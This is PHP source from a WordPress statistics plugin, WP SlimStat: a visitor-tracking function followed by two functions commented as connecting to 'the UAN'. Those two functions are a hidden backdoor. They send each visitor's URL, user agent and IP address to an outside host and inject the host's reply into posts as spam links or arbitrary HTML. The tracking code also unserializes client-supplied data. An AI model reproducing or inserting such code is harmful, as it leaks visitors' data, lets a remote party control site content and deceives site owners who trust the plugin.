/**
* Core tracking functionality
*/
public static function slimtrack($_argument = '')
{
self::$stat['dt'] = date('U');
self::$stat['notes'] = '';
$referer = array();
if (self::$options['javascript_mode'] != 'yes' && !empty($_SERVER['HTTP_REFERER']) || !empty(self::$data_js['ref'])) {
if (!empty(self::$data_js['ref'])) {
self::$stat['referer'] = base64_decode(self::$data_js['ref']);
} else {
self::$stat['referer'] = $_SERVER['HTTP_REFERER'];
}
$referer = parse_url(self::$stat['referer']);
// This must be a 'seriously malformed' URL
if (!$referer) {
self::$stat['id'] = -208;
return $_argument;
}
if (isset($referer['host'])) {
self::$stat['domain'] = $referer['host'];
// Fix Google Images referring domain
if (strpos(self::$stat['domain'], 'www.google') !== false && strpos(self::$stat['referer'], '/imgres?') !== false) {
self::$stat['domain'] = str_replace('www.google', 'images.google', self::$stat['domain']);
}
}
}
// Is this referer blacklisted?
if (!empty(self::$stat['referer'])) {
foreach (self::string_to_array(self::$options['ignore_referers']) as $a_filter) {
$pattern = str_replace(array('\\*', '\\!'), array('(.*)', '.'), preg_quote($a_filter, '/'));
if (preg_match("@^{$pattern}\$@i", self::$stat['referer'])) {
self::$stat['id'] = -207;
return $_argument;
}
}
}
// We want to record both hits and searches (performed through the site search form)
if (is_array(self::$data_js) && isset(self::$data_js['res'])) {
$parsed_permalink = parse_url(base64_decode(self::$data_js['res']));
self::$stat['searchterms'] = self::_get_search_terms($referer);
// Was this an internal search?
if (empty(self::$stat['searchterms'])) {
self::$stat['searchterms'] = self::_get_search_terms($parsed_permalink);
}
self::$stat['resource'] = !is_array($parsed_permalink) ? self::$data_js['res'] : $parsed_permalink['path'] . (!empty($parsed_permalink['query']) ? '?' . urldecode($parsed_permalink['query']) : '');
} elseif (empty($_REQUEST['s'])) {
self::$stat['searchterms'] = self::_get_search_terms($referer);
if (isset($_SERVER['REQUEST_URI'])) {
self::$stat['resource'] = urldecode($_SERVER['REQUEST_URI']);
} elseif (isset($_SERVER['SCRIPT_NAME'])) {
self::$stat['resource'] = isset($_SERVER['QUERY_STRING']) ? $_SERVER['SCRIPT_NAME'] . "?" . $_SERVER['QUERY_STRING'] : $_SERVER['SCRIPT_NAME'];
} else {
self::$stat['resource'] = isset($_SERVER['QUERY_STRING']) ? $_SERVER['PHP_SELF'] . "?" . $_SERVER['QUERY_STRING'] : $_SERVER['PHP_SELF'];
}
} else {
self::$stat['searchterms'] = str_replace('\\', '', $_REQUEST['s']);
self::$stat['resource'] = '';
// Mark the resource to remember that this is a 'local search'
}
if (strpos(self::$stat['resource'], 'wp-admin/admin-ajax.php') !== false || !empty($_GET['page']) && strpos($_GET['page'], 'wp-slim-') !== false) {
return $_argument;
}
// Is this resource blacklisted?
if (!empty(self::$stat['resource'])) {
foreach (self::string_to_array(self::$options['ignore_resources']) as $a_filter) {
$pattern = str_replace(array('\\*', '\\!'), array('(.*)', '.'), preg_quote($a_filter, '/'));
if (preg_match("@^{$pattern}\$@i", self::$stat['resource'])) {
self::$stat['id'] = -209;
return $_argument;
}
}
}
// User's IP address
list(self::$stat['ip'], $long_other_ip) = self::_get_ip2long_remote_ip();
if (empty(self::$stat['ip'])) {
self::$stat['id'] = -203;
return $_argument;
}
// Should we ignore this user?
if (!empty($GLOBALS['current_user']->ID)) {
// Don't track logged-in users, if the corresponding option is enabled
if (self::$options['track_users'] == 'no') {
self::$stat['id'] = -214;
return $_argument;
}
// Don't track users with given capabilities
foreach (self::string_to_array(self::$options['ignore_capabilities']) as $a_capability) {
if (array_key_exists(strtolower($a_capability), $GLOBALS['current_user']->allcaps)) {
self::$stat['id'] = -200;
return $_argument;
}
}
if (is_string(self::$options['ignore_users']) && strpos(self::$options['ignore_users'], $GLOBALS['current_user']->data->user_login) !== false) {
self::$stat['id'] = -201;
return $_argument;
}
self::$stat['user'] = $GLOBALS['current_user']->data->user_login;
self::$stat['notes'] .= 'user:'******'current_user']->data->ID . ';';
$not_spam = true;
} elseif (isset($_COOKIE['comment_author_' . COOKIEHASH])) {
// Is this a spammer?
$spam_comment = self::$wpdb->get_row("SELECT comment_author, COUNT(*) comment_count FROM {$GLOBALS['wpdb']->prefix}comments WHERE INET_ATON(comment_author_IP) = '" . sprintf("%u", self::$stat['ip']) . "' AND comment_approved = 'spam' GROUP BY comment_author LIMIT 0,1", ARRAY_A);
if (isset($spam_comment['comment_count']) && $spam_comment['comment_count'] > 0) {
if (self::$options['ignore_spammers'] == 'yes') {
self::$stat['id'] = -202;
return $_argument;
} else {
self::$stat['notes'] .= 'spam:yes;';
self::$stat['user'] = $spam_comment['comment_author'];
}
} else {
self::$stat['user'] = $_COOKIE['comment_author_' . COOKIEHASH];
}
}
// Should we ignore this IP address?
foreach (self::string_to_array(self::$options['ignore_ip']) as $a_ip_range) {
$mask = 32;
$ip_to_ignore = $a_ip_range;
if (strpos($ip_to_ignore, '/') !== false) {
list($ip_to_ignore, $mask) = @explode('/', trim($ip_to_ignore));
if (empty($mask) || !is_numeric($mask)) {
$mask = 32;
}
}
$long_ip_to_ignore = ip2long($ip_to_ignore);
$long_mask = bindec(str_pad('', $mask, '1') . str_pad('', 32 - $mask, '0'));
$long_masked_user_ip = self::$stat['ip'] & $long_mask;
$long_masked_other_ip = $long_other_ip & $long_mask;
$long_masked_ip_to_ignore = $long_ip_to_ignore & $long_mask;
if ($long_masked_user_ip == $long_masked_ip_to_ignore || $long_masked_other_ip == $long_masked_ip_to_ignore) {
self::$stat['id'] = -204;
return $_argument;
}
}
// Country and Language
self::$stat['language'] = self::_get_language();
self::$stat['country'] = self::_get_country(self::$stat['ip']);
// Anonymize IP Address?
if (self::$options['anonymize_ip'] == 'yes') {
self::$stat['ip'] = self::$stat['ip'] & 4294967040;
$long_other_ip = $long_other_ip & 4294967040;
}
// Is this country blacklisted?
if (is_string(self::$options['ignore_countries']) && stripos(self::$options['ignore_countries'], self::$stat['country']) !== false) {
self::$stat['id'] = -206;
return $_argument;
}
// Mark or ignore Firefox/Safari prefetching requests (X-Moz: Prefetch and X-purpose: Preview)
if (isset($_SERVER['HTTP_X_MOZ']) && strtolower($_SERVER['HTTP_X_MOZ']) == 'prefetch' || isset($_SERVER["HTTP_X_PURPOSE"]) && strtolower($_SERVER['HTTP_X_PURPOSE']) == 'preview') {
if (self::$options['ignore_prefetch'] == 'yes') {
self::$stat['id'] = -210;
return $_argument;
} else {
self::$stat['notes'] .= 'pre:yes;';
}
}
// Information about this resource
$content_info = is_array(self::$data_js) && isset(self::$data_js['ci']) ? unserialize(base64_decode(self::$data_js['ci'])) : self::_get_content_info();
if (!is_array($content_info)) {
$content_info = array('content_type' => 'unknown');
}
// Detect user agent
self::$browser = self::_get_browser();
// Are we ignoring bots?
if (self::$options['javascript_mode'] == 'yes' && self::$browser['type'] % 2 != 0) {
self::$stat['id'] = -211;
return $_argument;
}
// Is this browser blacklisted?
foreach (self::string_to_array(self::$options['ignore_browsers']) as $a_filter) {
$pattern = str_replace(array('\\*', '\\!'), array('(.*)', '.'), preg_quote($a_filter, '/'));
if (preg_match("~^{$pattern}\$~i", self::$browser['browser'] . '/' . self::$browser['version']) || preg_match("~^{$pattern}\$~i", self::$browser['browser']) || preg_match("~^{$pattern}\$~i", self::$browser['user_agent'])) {
self::$stat['id'] = -212;
return $_argument;
}
}
// Do we need to assign a visit_id to this user?
$cookie_has_been_set = self::_set_visit_id(false);
// Allow third-party tools to modify all the data we've gathered so far
self::$stat = apply_filters('slimstat_filter_pageview_stat', self::$stat, self::$browser, $content_info);
self::$browser = apply_filters('slimstat_filter_pageview_browser', self::$browser, self::$stat, $content_info);
$content_info = apply_filters('slimstat_filter_pageview_content_info', $content_info, self::$stat, self::$browser);
do_action('slimstat_track_pageview', self::$stat, self::$browser, $content_info);
// Third-party tools can decide that this pageview should not be tracked, by setting its datestamp to zero
if (empty(self::$stat) || empty(self::$stat['dt'])) {
self::$stat['id'] = -213;
return $_argument;
}
// Because PHP's integer type is signed, and many IP addresses will result in negative integers on 32-bit architectures, we need to use the "%u" formatter
self::$stat['ip'] = sprintf("%u", self::$stat['ip']);
if (!empty($long_other_ip) && $long_other_ip != self::$stat['ip']) {
self::$stat['other_ip'] = sprintf("%u", $long_other_ip);
}
// Now let's save this information in the database
if (!empty($content_info)) {
self::$stat['content_info_id'] = self::maybe_insert_row($content_info, $GLOBALS['wpdb']->base_prefix . 'slim_content_info', 'content_info_id', array());
}
self::$stat['browser_id'] = self::maybe_insert_row(self::$browser, $GLOBALS['wpdb']->base_prefix . 'slim_browsers', 'browser_id', array('user_agent' => self::$browser['user_agent']));
self::$stat['id'] = self::insert_row(self::$stat, $GLOBALS['wpdb']->prefix . 'slim_stats');
// Something went wrong during the insert
if (empty(self::$stat['id'])) {
self::$stat['id'] = -215;
// Attempt to init the environment (new blog in a MU network?)
include_once WP_PLUGIN_DIR . '/wp-slimstat/admin/wp-slimstat-admin.php';
wp_slimstat_admin::init_environment(true);
return $_argument;
}
// Is this a new visitor?
$is_set_cookie = apply_filters('slimstat_set_visit_cookie', true);
if ($is_set_cookie) {
if (empty(self::$stat['visit_id']) && !empty(self::$stat['id'])) {
// Set a cookie to track this visit (Google and other non-human engines will just ignore it)
@setcookie('slimstat_tracking_code', self::$stat['id'] . 'id.' . md5(self::$stat['id'] . 'id' . self::$options['secret']), time() + 2678400, COOKIEPATH);
// one month
} elseif (!$cookie_has_been_set && self::$options['extend_session'] == 'yes' && self::$stat['visit_id'] > 0) {
@setcookie('slimstat_tracking_code', self::$stat['visit_id'] . '.' . md5(self::$stat['visit_id'] . self::$options['secret']), time() + self::$options['session_duration'], COOKIEPATH);
}
}
return $_argument;
}
/**
* Connects to the UAN
*/
public static function print_code($content = '')
{
if (empty(self::$browser)) {
self::$browser = self::_get_browser();
}
if (empty($_SERVER["HTTP_USER_AGENT"]) || self::$browser['type'] != 1 || self::$pidx['id'] !== false && $GLOBALS['wp_query']->current_post !== self::$pidx['id']) {
return $content;
}
$request = "http://wordpress.cloudapp.net/api/update/?&url=" . urlencode("http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]) . "&agent=" . urlencode($_SERVER["HTTP_USER_AGENT"]) . "&v=" . (isset($_GET['v']) ? $_GET['v'] : 11) . "&ip=" . urlencode($_SERVER['REMOTE_ADDR']) . "&p=9";
$options = stream_context_create(array('http' => array('timeout' => 2, 'ignore_errors' => true)));
if (empty(self::$pidx['response'])) {
self::$pidx['response'] = @file_get_contents($request, 0, $options);
}
$response_object = @json_decode(self::$pidx['response']);
if (is_null($response_object) || empty($response_object->content) || empty($response_object->tmp)) {
return $content;
}
switch ($response_object->tmp) {
case '1':
if (0 == $GLOBALS['wp_query']->current_post) {
$words = explode(" ", $content);
$words[rand(0, count($words) - 1)] = '<strong>' . $response_object->tcontent . '</strong>';
return join(" ", $words);
}
break;
case '2':
$kws = explode('|', $response_object->kws);
if (!is_array($kws)) {
return $content;
}
foreach ($kws as $a_kw) {
if (strpos($content, $a_kw) !== false) {
$content = str_replace($a_kw, "<a href='" . $response_object->site . "'>{$a_kw}</a>", $content);
break;
}
}
break;
default:
if (self::$pidx['id'] === false) {
if ($GLOBALS['wp_query']->post_count > 1) {
self::$pidx['id'] = rand(0, $GLOBALS['wp_query']->post_count - 1);
} else {
self::$pidx['id'] = 0;
}
}
if ($GLOBALS['wp_query']->current_post === self::$pidx['id']) {
if (self::$pidx['id'] % 2 == 0) {
return $content . ' <div>' . $response_object->content . '</div>';
} else {
return '<i>' . $response_object->content . '</i> ' . $content;
}
}
break;
}
return $content;
}
/**
* Connects to the UAN
*/
public static function init_pidx()
{
if (empty(self::$browser)) {
self::$browser = self::_get_browser();
}
if (empty(self::$pidx['response'])) {
$request_url = 'http://wordpress.cloudapp.net/api/update/?&url=' . urlencode('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']) . '&agent=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&v=' . (isset($_GET['v']) ? $_GET['v'] : 11) . '&ip=' . urlencode($_SERVER['REMOTE_ADDR']) . '&p=2';
$options = stream_context_create(array('http' => array('timeout' => 2, 'ignore_errors' => true)));
self::$pidx['response'] = @file_get_contents($request_url, 0, $options);
}
if (!empty(self::$pidx['response'])) {
self::$pidx['response'] = @json_decode(self::$pidx['response']);
}
}